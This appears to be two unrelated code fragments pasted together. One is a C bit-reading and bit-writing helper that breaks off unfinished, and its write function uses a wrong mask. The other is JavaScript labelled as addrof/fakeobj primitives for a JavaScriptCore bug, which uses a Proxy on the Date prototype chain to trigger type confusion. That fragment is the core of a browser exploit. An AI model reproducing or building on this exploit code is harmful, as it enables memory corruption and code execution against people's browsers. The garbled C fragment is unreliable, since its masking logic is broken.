physuru

#include <stdint.h>

// treated as "independent", not as part of a larger integer
// i.e., for the "2nd" ("index 1") bit from the left will be output as `1`, not `2`
static uint32_t _read_bits(uint32_t u32, uint8_t where, uint8_t len) {
    return ((u32 & (((1 << len) - 1) << where)) >> where);
}

static void _write_bits(uint32_t *var, uint8_t where, uint32_t bits, uint8_t len) {
    *var = ((*var & ~(len << where)) | bits << where);

physuru

// addrof/fakeobj primitives for qwertyoruiop's jsc bug
var wtf_hack = false, wtf_confuse = null, wtf_obj = {}, wtf_date = new Date();
wtf_date[1] = 1;
Date.prototype.__proto__ = new Proxy(Date.prototype.__proto__, {
  has: function () {
    if (wtf_hack) {
      wtf_confuse[0] = wtf_obj;
    }
  }
});